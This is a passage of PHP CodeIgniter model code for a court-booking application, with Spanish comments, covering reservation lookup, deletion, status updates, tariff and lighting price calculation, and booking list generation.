$query = $this->db->query($sql, array($id_transacion));
//echo $this->db->last_query();//exit();
if ($query->num_rows() > 0) {
$signed = 0;
$signed_users = array();
$waiting = 0;
$waiting_users = array();
foreach ($query->result() as $row) {
if($row->status == 1 || $row->status == 5 || $row->status == 7) {
$signed++;
array_push($signed_users, array('id_user' => $row->id_user, 'status' => $row->status));
}
if($row->status == 2) {
$waiting++;
array_push($waiting_users, array('id_user' => $row->id_user, 'status' => $row->status));
}
}
$result['signed'] = $signed;
$result['signed_users'] = $signed_users;
$result['waiting'] = $waiting;
$result['waiting_users'] = $waiting_users;
} else {
$result['signed'] = 0;
$result['signed_users'] = array();
$result['waiting'] = 0;
$result['waiting_users'] = array();
}
} else {
$result['players'] = '';
$result['price_by_player'] = '';
$result['gender'] = '';
$result['low_player_level'] = '';
$result['high_player_level'] = '';
$result['limit_date'] = '';
$result['visible'] = '';
$result['last_notify'] = '';
$sql = "SELECT * FROM booking_players WHERE id_transaction = ?";
$query = $this->db->query($sql, array($id_transacion));
//echo $this->db->last_query();//exit();
if ($query->num_rows() > 0) {
$signed = 0;
$signed_users = array();
foreach ($query->result() as $row) {
$signed++;
$row_user_desc = $row->user_desc;
$row_user_phone = $row->user_phone;
if($row->id_user != 0) {
$this->CI =& get_instance();
$this->CI->load->model('Redux_auth_model', 'usuario', TRUE);
$row_user_desc = $this->CI->usuario->getUserDesc($row->id_user);
$row_user_phone = $this->CI->usuario->getUserPhone($row->id_user);
}
array_push($signed_users, array('id' => $row->id, 'id_user' => $row->id_user, 'user_desc' => $row_user_desc, 'user_phone' => $row_user_phone, 'status' => $row->status));
}
$result['players'] = $signed;
$result['playing_users'] = $signed_users;
} else {
$result['players'] = 0;
$result['playing_users'] = array();
}
}
return $result;
} else return FALSE;
}
##############################################################################
function getBookingInfoByRealid($id) {
# Devuelve informaciรณn de la reserva pendiente registrada para un numero de sesion
$this->load->model('Pistas_model', 'pistas', TRUE);
$sql = "SELECT courts.id as id_court, courts.name as name, booking.id, booking.id_transaction, booking.date , booking.intervalo, booking.price, booking.price_light, booking.price_court, booking.id_user, booking.user_desc, booking.booking_code, booking.user_phone, booking.no_cost, booking.no_cost_desc, booking.status as status, meta.first_name as first_name, meta.last_name as last_name, meta.phone as phone, zz_booking_status.description as status_desc, booking.id_paymentway FROM booking LEFT OUTER JOIN booking b2 ON booking.id_transaction = b2.id_transaction LEFT OUTER JOIN zz_booking_status ON zz_booking_status.id = booking.status LEFT OUTER JOIN courts ON courts.id=booking.id_court LEFT OUTER JOIN meta ON booking.id_user = meta.user_id WHERE courts.active=1 and b2.id = ? ORDER BY id_court asc, intervalo asc";
$query = $this->db->query($sql, array($id));
//echo $this->db->last_query();//exit();
log_message('debug',$this->db->last_query());
if ($query->num_rows() > 0) {
$precio_total=0;
$precio_pista=0;
$intervalos=0;
$min='';
$max='';
$light = false;
$light_price = 0;
$pista=array();
$fecha=0;
$usuario=0;
$id_court=0;
$status=0;
$id = '';
foreach ($query->result() as $row) {
if($id == '' || $id > $row->id) $id = $row->id; // Me quedo con el id menor
if($row->price_light != 0) $light = true;
$light_price += $row->price_light;
$id_court = $row->id_court;
$reserve_interval = $this->pistas->getCourtInterval($row->id_court);
$status = $row->status;
if(!isset($pista[$row->name])) $pista[$row->name] = array();
$inicio=date($this->config->item('hour_db_format'), strtotime($row->intervalo));
$fin=date($this->config->item('hour_db_format'), strtotime($row->intervalo)+($reserve_interval * 60));
array_push($pista[$row->name], array($inicio, $fin, $row->price));
if($min > $inicio || $min=='') $min = $inicio;
if($max < $fin || $max=='') $max = $fin;
$usuario = $row->id_user;
if($usuario==0) {
$user_desc = $row->user_desc;
$user_phone = $row->user_phone;
} else {
$user_desc = $row->first_name.' '.$row->last_name;
$user_phone = $row->phone;
}
$intervalos++;
$precio_total=$precio_total+$row->price;
$precio_pista=$precio_pista+$row->price_court;
$fecha=$row->date;
}
$result=array(
'date' => $fecha,
'price' => $precio_pista,
'intervals' => $intervalos,
'user' => $usuario,
'user_desc' => $user_desc,
'user_phone' => $user_phone,
'inicio' => $min,
'fin' => $max,
'light' => $light,
'light_price' => $light_price,
'total_price' => $light_price + $precio_total,
'reserva' => $pista ,
'id_court' => $id_court,
'court' => $row->name,
'no_cost' => $row->no_cost,
'no_cost_desc' => $row->no_cost_desc,
'booking_code' => $row->booking_code,
'id_transaction' => $row->id_transaction,
'id' => $id,
'status' => $status,
'status_desc' => $row->status_desc,
'paymentway' => $row->id_paymentway,
'operation_desc' => 'Reserva ('.$row->booking_code.') de '.$row->name.' el '.date($this->config->item('reserve_date_filter_format'), strtotime($fecha)).' de '.$min.' a '.$max
);
return $result;
} else return FALSE;
}
##############################################################################
function eraseInterval() {
# Devuelve array con las horas disponibles para ser reservadas de la pista y dia comunicados, del 'availability' almacenado
$sql = "SELECT id FROM booking WHERE status > 0 and date = ? and intervalo = ? and id_court = ? and id_user = ? LIMIT 1";
$query = $this->db->query($sql, array($this->date, $this->intervalo, $this->court, $this->id_user));
if ($query->num_rows() > 0) {
/*
$data = array(
'id_booking' => $this->court."-".date('U', strtotime($this->date." ".$this->intervalo)),
'id_user' => $this->id_user,
'id_court' => $this->court,
'date' => $this->date,
'intervalo' => $this->intervalo
);
*/
$data = array(
'id_transaction' => $this->session->userdata('idTransaction'),
'id_user' => $this->id_user,
'id_court' => $this->court,
'date' => $this->date,
'intervalo' => $this->intervalo
);
$this->db->delete('booking',$data);
log_message('debug',$this->db->last_query());
$intervalos=$this->session->userdata('bookingInterval');
if(isset($intervalos) && is_array($intervalos)) {
$intervalos2=array($data['id_transaction']);
$intervalos = array_diff($intervalos, $intervalos2);
$this->session->set_userdata('bookingInterval', $intervalos);
}
$this->session->set_flashdata('bookingInterval', 'value');
return TRUE;
} else return FALSE;
}
##############################################################################
function clearByUser($usuario) {
# Si llamo a esta funciรณn borro todas las reservas pendientes de pagar (estado '5') de el usuario activo, por sesion
if($usuario!=="") {
$data = array(
'session' => $this->session->userdata('session_id'),
'status' => 5,
);
$this->db->delete('booking',$data);
//log_message('debug',$this->db->last_query());
$data = array(
'id_user' => $usuario,
'status' => 5,
);
$this->db->delete('booking',$data);
//log_message('debug',$this->db->last_query());
}
return NULL;
}
##############################################################################
function clearBySession($session) {
# Si llamo a esta funciรณn borro todas las reservas pendientes de pagar (estado '5') de el usuario activo, por sesion
if($session!=="") {
$data = array(
'session' => $session,
'status' => 5,
);
$this->db->delete('booking',$data);
//log_message('debug',$this->db->last_query());
} else {
$data = array(
'session' => $this->session->userdata('session_id'),
'status' => 5,
);
$this->db->delete('booking',$data);
//log_message('debug',$this->db->last_query());
}
return NULL;
}
##############################################################################
function getPaymentMethodsByUser($user_level) {
# Devuelve array de los diferentes mรฉtodos de pago disponibles
exit('funciรณn reservas->getPaymentMethodsByUser() deshabilitada');
return null;
$payment = array ('reserve' => FALSE, 'cash' => FALSE, 'paypal' => FALSE, 'prepaid' => FALSE, 'creditcard' => FALSE, 'tpv' => FALSE, 'bank' => FALSE);
foreach($payment as $type => $value) {
$payment[$type] = $this->app_common->PaymentMethodStatus($type);
}
# Aqui deberรญa comprobar los permisos del usuario
if($user_level >= 9) {
$payment['reserve'] = FALSE;
$payment['prepaid'] = FALSE;
$payment['cash'] = FALSE;
$payment['paypal'] = FALSE;
$payment['bank'] = FALSE;
}
if($user_level == 7) {
$payment['reserve'] = FALSE;
}
if($user_level == 6) {
$payment['reserve'] = FALSE;
}
if($user_level >= 5) {
$payment['cash'] = FALSE;
$payment['bank'] = FALSE;
$payment['creditcard'] = FALSE;
}
return $payment;
}
##############################################################################
function setSelectionReserved($id_transaction, $status, $payment = "", $user, $userdesc='', $phone='', $no_cost, $no_cost_desc = NULL) {
# Marca una reserva con un estado de reserva determinado
$data = array(
'status' => $status,
'id_paymentway' => $payment,
'id_user' => $user,
'user_desc' => $userdesc,
'user_phone' => $phone,
'no_cost' => $no_cost,
'no_cost_desc' => $no_cost_desc,
'modify_user' => $user,
'modify_time' => date($this->config->item('log_date_format'))
);
$this->db->where('id_transaction', $id_transaction);
$this->db->update('booking', $data);
log_message('debug',$this->db->last_query());
if($this->db->affected_rows()) return TRUE;
//echo $this->db->last_query();
//exit();
return FALSE;
}
##############################################################################
function setSelectionShared($id_transaction) {
# Marca una reserva con un estado de reserva determinado
$data = array(
'shared' => 1,
'modify_time' => date(DATETIME_DB),
'modify_user' => $this->session->userdata('user_id'),
'modify_ip' => $this->session->userdata('ip_address')
);
$this->db->where('id_transaction', $id_transaction);
$this->db->update('booking', $data);
log_message('debug',$this->db->last_query());
if($this->db->affected_rows()) return TRUE;
//echo $this->db->last_query();
//exit();
return FALSE;
}
##############################################################################
/*
function setBookingExtraInfo($id_transaction, $status, $user, $userdesc='', $phone='', $no_cost, $no_cost_desc = NULL) {
# Marca una reserva con un estado de reserva determinado
$data = array(
'status' => $status,
'id_user' => $user,
'user_desc' => $userdesc,
'user_phone' => $phone,
'no_cost' => $no_cost,
'no_cost_desc' => $no_cost_desc,
'modify_user' => $user,
'modify_time' => date($this->config->item('log_date_format'))
);
$this->db->where('id_transaction', $id_transaction);
$this->db->update('booking', $data);
//echo $this->db->last_query();
//log_message('debug',$this->db->last_query());
//exit();
return NULL;
}
*/
##############################################################################
function setLight($id_transaction) {
# Marca una reserva con un estado de reserva determinado
//print_r( $this->session);
$luz = 0; $precio = 0;
$sql = "SELECT * FROM booking where Id_Transaction = ? ";
$query = $this->db->query($sql, array($id_transaction));
//$count = $this->db->count_all_results();
//$precio_luz = $quantity / $count;
foreach ($query->result() as $row)
{
$this->date = $row->date;
$this->intervalo = $row->intervalo;
$this->court = $row->id_court;
$this->getLightPrice();
$luz = $this->price_light;
$precio = $row->price + $luz;
$id_booking = $row->id_booking;
$data = array(
'price' => $precio,
'price_light' => $luz,
'modify_user' => $this->session->userdata('user_id'),
'modify_time' => date($this->config->item('log_date_format'))
);
$this->db->where('id_booking', $id_booking);
$this->db->update('booking', $data);
log_message('debug',$this->db->last_query(). ' - '.$row->price);
}
//echo $this->db->last_query();
//log_message('debug',$this->db->last_query());
//exit();
return NULL;
}
##############################################################################
function getLight($id_transaction) {
# Marca una reserva con un estado de reserva determinado
//print_r( $this->session);
$luz = 0; $precio = 0;
$sql = "SELECT * FROM booking where Id_Transaction = ? ";
$query = $this->db->query($sql, array($id_transaction));
//$count = $this->db->count_all_results();
//$precio_luz = $quantity / $count;
foreach ($query->result() as $row)
{
$this->date = $row->date;
$this->intervalo = $row->intervalo;
$this->court = $row->id_court;
$this->getLightPrice();
$luz = $this->price_light;
$precio = $precio + $luz;
}
//echo $this->db->last_query();
//log_message('debug',$this->db->last_query());
//exit();
return $precio;
}
function setPrice($id_transaction) {
$this->load->library('booking');
$debug = FALSE;
# Marca una reserva con un estado de reserva determinado
//print_r( $this->session);
$luz = 0; $precio = 0;
$sql = "SELECT * FROM booking where Id_Transaction = ? ";
$query = $this->db->query($sql, array($id_transaction));
//$count = $this->db->count_all_results();
//$precio_luz = $quantity / $count;
//echo 'transaccion: '.$id_transaction.'<br>';
foreach ($query->result() as $row)
{
$this->date = $row->date;
$this->intervalo = $row->intervalo;
$this->court = $row->id_court;
$this->id_user = $row->id_user;
if($this->id_user != 0) {
$this->CI =& get_instance();
$this->CI->load->model('Redux_auth_model', 'usuario', TRUE);
$this->group = $this->CI->usuario->getUserGroup($row->id_user);
if(!isset($this->group)) $this->group = 9;
} else $this->group = 9;
/*
echo 'fecha: '.$this->date.'<br>';
echo 'hora: '.$this->intervalo.'<br>';
echo 'pista: '.$this->court.'<br>';
echo 'usuario: '.$this->id_user.'<br>';
echo 'grupo: '.$this->group.'<br>';
*/
$this->getPrice();
########################
$extras = $this->booking->getExtra($id_transaction, $this->court.'-'.strtotime($this->date.' '.$this->intervalo));
if($debug) echo "\r\n".'<br>el extra es '.$extras.' ';
$this->price_supl1 = $extras;
##########################
# Si tiene precio de luz, es que lo ha seleccionado. Recalculo el precio y defino la variable
if($row->price_light != 0) {
$this->getLightPrice();
$luz = $this->price_light;
} else $luz = 0;
$precio = $this->price_court + $luz + $this->price_supl1 + $row->price_supl2;
#Compruebo los extras
//$extras = $this->booking->getExtra($this->session->userdata('idTransaction'), $this->intervalo);
//if($debug) echo "\r\n".'<br>el extra es '.$extras.' ';
//$precio += $extras;
//$this->reservas->price = $this->reservas->price + $extras;
/*
echo 'luz: '.$this->price_light.'<br>';
echo 'pista: '.$this->price_court.'<br>';
echo 'precio: '.$this->price.'<br>';
*/
$data = array(
'price' => $precio,
'price_court' => $this->price_court,
'price_light' => $luz,
'price_supl1' => $this->price_supl1,
'modify_user' => $this->session->userdata('user_id'),
'modify_time' => date($this->config->item('log_date_format')),
'modify_ip' => $this->session->userdata('ip_address')
);
$this->db->where('id_transaction', $id_transaction);
$this->db->where('intervalo', $this->intervalo);
$this->db->update('booking', $data);
//echo $this->db->last_query();
}
//log_message('debug',$this->db->last_query());
//exit();
return NULL;
}
function setPriceExtra($id_transaction, $field, $quantity, $interval = 'all') {
//print_r( $this->session);
$luz = 0; $precio = 0;
$sql = "SELECT * FROM booking where Id_Transaction = ? order by intervalo";
$query = $this->db->query($sql, array($id_transaction));
//$count = $this->db->count_all_results();
//$precio_luz = $quantity / $count;
//echo 'transaccion: '.$id_transaction.'<br>';
$i = 0; $precio = 0;
foreach ($query->result() as $row)
{
$actualiza = FALSE;
if($interval == 'all') $actualiza = TRUE;
if($interval == 'first' && $i == 0) $actualiza = TRUE;
$this->intervalo = $row->intervalo;
$precio = 0;
if($field != 'price_court' ) $precio += $row->price_court;
//log_message('debug','Sumo precio pista ('.$row->price_court.') y queda '.$precio);
if($field != 'price_light' ) $precio += $row->price_light;
//log_message('debug','Sumo precio luz ('.$row->price_light.') y queda '.$precio);
if($field != 'price_supl1' ) $precio += $row->price_supl1;
//log_message('debug','Sumo precio supl1 ('.$row->price_supl1.') y queda '.$precio);
if($field != 'price_supl2' ) $precio += $row->price_supl2;
//log_message('debug','Sumo precio price_supl2 ('.$row->price_supl2.') y queda '.$precio);
if($field != 'price_supl3' ) $precio += $row->price_supl3;
//log_message('debug','Sumo precio price_supl3 ('.$row->price_supl3.') y queda '.$precio);
if($field != 'price_supl4' ) $precio += $row->price_supl4;
//log_message('debug','Sumo precio price_supl4 ('.$row->price_supl4.') y queda '.$precio);
$precio += $quantity;
//log_message('debug','Precio final: '.$precio);
$data = array(
'price' => $precio,
$field => $quantity,
'modify_user' => $this->session->userdata('user_id'),
'modify_time' => date($this->config->item('log_date_format')),
'modify_ip' => $this->session->userdata('ip_address')
);
if($actualiza){
$this->db->where('id_transaction', $id_transaction);
$this->db->where('intervalo', $this->intervalo);
$this->db->update('booking', $data);
log_message('debug',$this->db->last_query());
if($interval == 'first') break;
}
//echo $this->db->last_query();
$i++;
}
log_message('debug',$this->db->last_query());
//exit();
return NULL;
}
##############################################################################
function getPrice( $options = array()) {
# Devuelve precio del intervalo del dรญa para la pista solicitada
$debug = FALSE;
//echo "A";
if(!$this->date || !$this->intervalo) return NULL;
//echo "B";
$id = $this->court;
$date = $this->date;
$time = $this->intervalo;
$group = $this->group;
if(!isset($group)) $group = 9;
if($debug) print('<br><pre>');
$weekday=@date('N', strtotime($date));
$interval=@date($this->config->item('hour_db_format'), strtotime($time));
# Compruebo si hay un horario especial activo para la fecha dada para todas las pistas
$sql = "SELECT id_price FROM prices_specials WHERE status = 1 and type = 2 and (id_court = 0 or id_court = ?) and date = ? ORDER BY id_court DESC LIMIT 1";
$query = $this->db->query($sql, array($id, $date));
if($debug) echo '<br>sesion: '.$this->db->last_query();
if ($query->num_rows() > 0) {
$row = $query->row();
$id_price=$row->id_price;
if($debug) 'tarifa encontrada: '.$id_price;
} else {
# Compruebo si hay un horario especial activo para una fecha anual para todas las pistas
$date_tmp=explode("-", $date);
$date_anual='%'.$date_tmp[1]."-".$date_tmp[2];
$sql = "SELECT id_price FROM prices_specials WHERE status = 1 and type = 1 and (id_court = 0 or id_court = ?) and date LIKE ? ORDER BY id_court DESC LIMIT 1";
$query = $this->db->query($sql, array($id, $date_anual));
if($debug) echo '<br>sesion: '.$this->db->last_query();
if ($query->num_rows() > 0) {
$row = $query->row();
$id_price=$row->id_price;
if($debug) 'tarifa encontrada: '.$id_price;
}
}
# Si no se ha definido el precio con las tablas de tarifas para dias especiales, busco la tarifa de la pista
if(!isset($id_price) || $id_price=="") {
# Recupero tarifa
$sql = "SELECT id_price FROM courts WHERE id = ? LIMIT 1";
$query = $this->db->query($sql, array($id));
//echo $this->db->last_query();
//log_message('debug', 'SQL: '.$this->db->last_query());
if ($query->num_rows() > 0) {
//echo "C";
$row = $query->row();
$id_price=$row->id_price;
} else return NULL;
}
//if($debug) exit('--------------------tarifa: '.$id_price);
if($debug) print("\r\n".'--------------------tarifa: '.$id_price);
if($id_price!="") {
if($debug) echo "D";
# Debo comprobar si el dรญa estรก definido como festivo en algรบn calendario para saber quรฉ consulta hacer
$datos = array(
'date' => $date,
'time' => $time,
'group' => $group
);
if($debug) print_r($datos);
$precio = $this->app_common->getPriceValue($id_price, $datos);
if($debug) echo "\r\n<br>PRECIO--".$precio;
if(!$this->getLightPrice()) $this->price_light = 0;
$this->price = $precio;
$this->price_court = $precio;
//exit();
return TRUE;
/*
# Si no es festivo
$sql = "SELECT prices.quantity, prices.by_group, prices.by_weekday, prices.by_time FROM prices WHERE prices.id = ? and prices.active = '1' and prices.start_date <= ? and prices.end_date >= ? LIMIT 1";
$query = $this->db->query($sql, array($id_price, $date, $date));
if($debug) print_r($query);
//log_message('debug', 'SQL: '.$this->db->last_query());
if($debug) echo $this->db->last_query();
if ($query->num_rows() > 0) {
if($debug) echo "E";
$row = $query->row();
$quantity = $row->quantity;
$by_group = $row->by_group;
$by_weekday = $row->by_weekday;
$by_time = $row->by_time;
if ($by_weekday == '1' && $by_time == '0') {
# Si la tarifa es solo de weekday y no de time, busco los registros con weekday='0'
$sql2 = "SELECT quantity FROM prices_by_time WHERE id_price = ? and weekday = '0' and start_date <= ? and end_date >= ? and time = ? LIMIT 1";
$query2 = $this->db->query($sql2, array($id_price, $date, $date, $interval));
//log_message('debug', 'SQL: '.$this->db->last_query());
if($debug) echo $this->db->last_query();
$row2 = $query2->row();
$quantity = $row2->quantity;
} elseif ($by_weekday == '1' && $by_time == '1' && $by_group == '1') {
# Si la tarifa es de weekday y de time, busco los registros con weekday concreto
$sql2 = "SELECT quantity FROM prices_by_time WHERE id_price = ? and id_group = ? and weekday = ? and start_date <= ? and end_date >= ? and time = ? order by quantity desc LIMIT 1";
$query2 = $this->db->query($sql2, array($id_price, $group, $weekday, $date, $date, $interval));
//log_message('debug', 'SQL: '.$this->db->last_query());
if($debug) echo $this->db->last_query();
$row2 = $query2->row();
if($debug) print_r($row2);
if($debug) print_r($query2->result_array());
$quantity = $row2->quantity;
if($debug) echo 'Precio obtenido: '.$quantity;
} elseif ($by_weekday == '0' && $by_time == '1' && $by_group == '1') {
# Si la tarifa es de weekday y de time, busco los registros con weekday concreto
$sql2 = "SELECT quantity FROM prices_by_time WHERE id_price = ? and id_group = ? and weekday = 0 and start_date <= ? and end_date >= ? and time = ? order by quantity desc LIMIT 1";
$query2 = $this->db->query($sql2, array($id_price, $group, $date, $date, $interval));
//log_message('debug', 'SQL: '.$this->db->last_query());
if($debug) echo $this->db->last_query();
$row2 = $query2->row();
$quantity = $row2->quantity;
} elseif ($by_weekday == '1' && $by_time == '1' && $by_group == '0') {
# Si la tarifa es de weekday y de time, busco los registros con weekday concreto
$sql2 = "SELECT quantity FROM prices_by_time WHERE id_price = ? and weekday = ? and start_date <= ? and end_date >= ? and time = ? order by quantity desc LIMIT 1";
$query2 = $this->db->query($sql2, array($id_price, $weekday, $date, $date, $interval));
//log_message('debug', 'SQL: '.$this->db->last_query());
//echo $this->db->last_query();
$row2 = $query2->row();
$quantity = $row2->quantity;
} elseif($by_group == '1') {
# Si la tarifa es de grupos, busco los registros en la tabla adecuada
$sql2 = "SELECT quantity FROM prices_by_group WHERE id_price = ? and id_group = ? and start_date <= ? and end_date >= ?";
$query2 = $this->db->query($sql2, array($id_price, $group, $date, $date));
//echo $this->db->last_query();
$row2 = $query2->row();
$quantity = $row2->quantity;
}
if(!$this->getLightPrice()) $this->price_light = 0;
$this->price = $quantity;
$this->price_court = $quantity;
//echo "<br>--".$quantity; exit();
return TRUE;
} else return NULL;
//date('H:i', strtotime($row->interval))
*/
# Si es festivo
# ...
} else return NULL;
}
##############################################################################
function getLightPrice() {
# Devuelve precio de la luz para el intervalo del dรญa para la pista solicitada
//echo "A";
if(!$this->date || !$this->intervalo) return NULL;
$this->CI =& get_instance();
$this->CI->load->model('Pistas_model', 'pistas', TRUE);
//echo "B";
$id = $this->court;
$date = $this->date;
$time = $this->intervalo;
$group = $this->group;
if(!isset($group)) $group = 9;
$weekday=@date('N', strtotime($date));
$interval=@date($this->config->item('hour_db_format'), strtotime($time));
# Recupero tarifa
$id_price=$this->CI->pistas->getCourtLightPrice($id);
if($id_price!="") {
//echo "D";
# Debo comprobar si el dรญa estรก definido como festivo en algรบn calendario para saber quรฉ consulta hacer
$datos = array(
'date' => $date,
'time' => $time,
'group' => $group
);
$precio = $this->app_common->getPriceValue($id_price, $datos);
$this->price_light = $precio;
//echo "<br>--".$quantity;
return TRUE;
/*
# Si no es festivo
$sql = "SELECT prices.quantity, prices.by_group, prices.by_weekday, prices.by_time FROM prices WHERE prices.id = ? and prices.active = '1' and prices.start_date <= ? and prices.end_date >= ? LIMIT 1";
$query = $this->db->query($sql, array($id_price, $date, $date));
//log_message('debug', 'SQL: '.$this->db->last_query());
//echo $this->db->last_query();
if ($query->num_rows() > 0) {
//echo "E";
$row = $query->row();
$quantity = $row->quantity;
$by_group = $row->by_group;
$by_weekday = $row->by_weekday;
$by_time = $row->by_time;
if ($by_weekday == '1' && $by_time == '0') {
# Si la tarifa es solo de weekday y no de time, busco los registros con weekday='0'
$sql2 = "SELECT quantity FROM prices_by_time WHERE id_price = ? and weekday = '0' and start_date <= ? and end_date >= ? and time = ?";
$query2 = $this->db->query($sql2, array($id_price, $date, $date, $interval));
//log_message('debug', 'SQL: '.$this->db->last_query());
//echo $this->db->last_query();
$row2 = $query2->row();
$quantity = $row2->quantity;
} elseif ($by_weekday == '1' && $by_time == '1' && $by_group == '1') {
# Si la tarifa es de weekday y de time, busco los registros con weekday concreto
$sql2 = "SELECT quantity FROM prices_by_time WHERE id_price = ? and id_group = ? and weekday = ? and start_date <= ? and end_date >= ? and time = ?";
$query2 = $this->db->query($sql2, array($id_price, $group, $weekday, $date, $date, $interval));
//log_message('debug', 'SQL: '.$this->db->last_query());
//echo $this->db->last_query();
$row2 = $query2->row();
$quantity = $row2->quantity;
} elseif ($by_weekday == '1' && $by_time == '1' && $by_group == '0') {
# Si la tarifa es de weekday y de time, busco los registros con weekday concreto
$sql2 = "SELECT quantity FROM prices_by_time WHERE id_price = ? and weekday = ? and start_date <= ? and end_date >= ? and time = ?";
$query2 = $this->db->query($sql2, array($id_price, $weekday, $date, $date, $interval));
//log_message('debug', 'SQL: '.$this->db->last_query());
//echo $this->db->last_query();
$row2 = $query2->row();
$quantity = $row2->quantity;
} elseif($by_group == '1') {
# Si la tarifa es de grupos, busco los registros en la tabla adecuada
$sql2 = "SELECT quantity FROM prices_by_group WHERE id_price = ? and id_group = ? and start_date <= ? and end_date >= ?";
$query2 = $this->db->query($sql2, array($id_price, $group, $date, $date));
//echo $this->db->last_query();
$row2 = $query2->row();
$quantity = $row2->quantity;
}
$this->price_light = $quantity;
//echo "<br>--".$quantity;
return TRUE;
} else return NULL;
//date('H:i', strtotime($row->interval))
# Si es festivo
# ...
*/
} else return NULL;
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion que devuelve listado de todas las reservas UNIFICADAS, en formato array,
# -------------------------------------------------------------------
public function get_last_bookings($filters = NULL, $order = NULL, $orderway = NULL , $limit = NULL)
{
$this->load->model('Pistas_model', 'pistas', TRUE);
$records = $this->get_global_list($filters, $order, $orderway, $limit );
$min_time=""; $max_time=""; $precio=0; $registro = array();
foreach ($records['records']->result() as $row)
{
if(!isset($transaccion) || $transaccion=="") $transaccion = $row->id_transaction;
//echo $row->id_transaction.' # ' .$transaccion.'<br>';
if($transaccion != $row->id_transaction && $transaccion!="") {
#Sรณlo si se ha cambiado de Id de transacciรณn
$record_items[] = $registro;
//print("<pre>"); print_r($registro);
$registro=array();
$min_time=""; $max_time=""; $precio=0;
$transaccion = $row->id_transaction;
}
// ojo, las imรกgenes tienen que ser png
//modificar mas adelante aรฑadiendo un campo en BBDD
$paint_status = '';
if ($row->status_desc == '') $paint_status='';
else $paint_status = img(array('src'=>'images/'.$row->status_desc.'.png', "align"=>"absmiddle", "border"=>"0", "title"=>$this->lang->line($row->status_desc)));
if($row->no_cost==0) $no_cost='';
else $no_cost=img( array('src'=>'images/accept.png', "align"=>"absmiddle", "border"=>"0"));
if($row->id_user) $usuario = $row->first_name.' '.$row->last_name.'('.$row->phone.')';
else $usuario = $row->user_desc.'('.$row->user_phone.')';
if(trim($usuario)=="") $usuario="No registrado";
$reserve_interval = $this->pistas->getCourtInterval($row->id_court);
$time=$row->intervalo;
$precio+=$row->price;
if($min_time=="" || $min_time > $row->intervalo) $min_time = date('H:i', strtotime($time));
if($max_time=="" || $max_time < $row->intervalo) $max_time = date('H:i', strtotime($time)+($reserve_interval * 60));
# Definicion de los botones
/*$butt_array=array();
if($row->status != 9) array_push($butt_array, '<a href=\'#\' onClick="javascript: alert(\'Marcar la reserva como iniciada\');"><img id="activar" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/accept.png\'></a>');
if($row->status != 9) {
array_push($butt_array, '<a href=\'#\' onClick="javascript: alert(\'Modificar la reserva\');" ><img value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/refresh.png\'></a>');
}
if($row->status != 9) array_push($butt_array, '<a href=\'#\' onClick="javascript: alert(\'Eliminar la reserva\');"><img border=\'0\' src=\''.$this->config->item('base_url').'images/close.png\'></a>');
//$buttons=implode(' ', $butt_array);*/
//NUEVOS BOTONES
//if ($row->status == 9) $button_validate= '<img id="validar" "title"="Validar Reserva" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/accept.png\'>';
//else $button_validate = "-";
if ($row->price_light > 0)
{
$img_light= '<img id="luz" "title"="Luz contratada" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/luz.png\'>';
$button_light = '-';
}
else
{
$img_light= '<img id="no_luz" "title"="Luz no contratada" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/luz_no.png\'>';
$button_light = '<img id="luz" "title"="Luz contratada" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/luz.png\'>';
}
$button_cancel= '<img id="cancelar" "title"="Cancelar Reserva" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/close.png\'>';
$button_change= '<a href="javascript:modificarReserva(\''.$row->id_transaction.'\',\''.$min_time.'\',\''.$max_time.'\');"><img id="modificar" "title"="Modificar Reserva" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/refresh.png\'></a>';
//$button_change=
if ($row->status < 9) $button_payment= '<img id="payment" "title"="Cobrar Reserva" value="12" border=\'0\' src=\''.$this->config->item('base_url').'images/coins.png\'>';
else $button_payment = '-';
$registro = array(
$row->id_transaction,
$row->id_booking,
date($this->config->item('reserve_date_filter_format') ,strtotime($row->fecha)),
$min_time,
$max_time,
$row->court_name,
$img_light,
$paint_status,
$this->lang->line($row->paymentway_desc)!="" ? $this->lang->line($row->paymentway_desc) : '-',
$row->id_user,
$usuario,
$precio,
$no_cost,
//$button_validate,
$button_cancel,
$button_change,
$button_payment,
$button_light
);
//print("<pre>");print_r($row);print("</pre>");
//$record_items[] = $registro;
}
$record_items[] = $registro;
//print("<pre>");print_r($record_items);print("</pre>");
return $record_items;
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion que devuelve listado de todas las reservas
# -------------------------------------------------------------------
public function get_listall()
{
$add_where=$this->session->flashdata('where');
return $this->get_global_list($add_where);
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion que devuelve listado de todas las reservas del dรญa actual
# -------------------------------------------------------------------
public function get_list_by_day($date = NULL)
{
$this->CI =& get_instance();
//Select table name
$table_name = "booking";
//Build contents query
$this->db->select('id_booking, date, intervalo, courts.name, no_cost, status, price, id_user, user_desc')->from($table_name);
$this->CI->flexigrid->build_query();
$this->db->join('courts', 'courts.id=booking.id_court');
if (isset($date) && trim($date)!="") $this->db->where('date', $date);
$add_where=$this->session->flashdata('where');
log_message('debug', 'WHERE--: '.$add_where);
if (isset($add_where) && trim($add_where)!="") $this->db->where($add_where);
//Get contents
$return['records'] = $this->db->get();
//echo "AAAAAA".$this->db->last_query()."CCCCCCCCCCC";
log_message('debug', 'SQL: '.$this->db->last_query());
//Build count query
$this->db->select('count(id_booking) as record_count')->from($table_name);
$this->CI->flexigrid->build_query(FALSE);
$this->db->join('courts', 'courts.id=booking.id_court');
if (isset($date) && trim($date)!="") $this->db->where('date', $date);
//log_message('debug', 'WHERE: '.$add_where);
if (isset($add_where) && trim($add_where)!="") $this->db->where($add_where);
$record_count = $this->db->get();
$row = $record_count->row();
//Get Record Count
$return['record_count'] = $row->record_count;
//print("<pre>");print_r($return);
//Return all
return $return;
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion que devuelve listado de todas las reservas
# -------------------------------------------------------------------
public function get_global_list($filters="", $orderby="", $orderbyway="", $limit="", $flexigrid=FALSE)
{
$this->CI =& get_instance();
//Select table name
$table_name = "booking";
//Build contents query
$this->db->select('booking.id as id, id_booking, id_transaction, id_user, session, id_court, `date` as fecha, '.
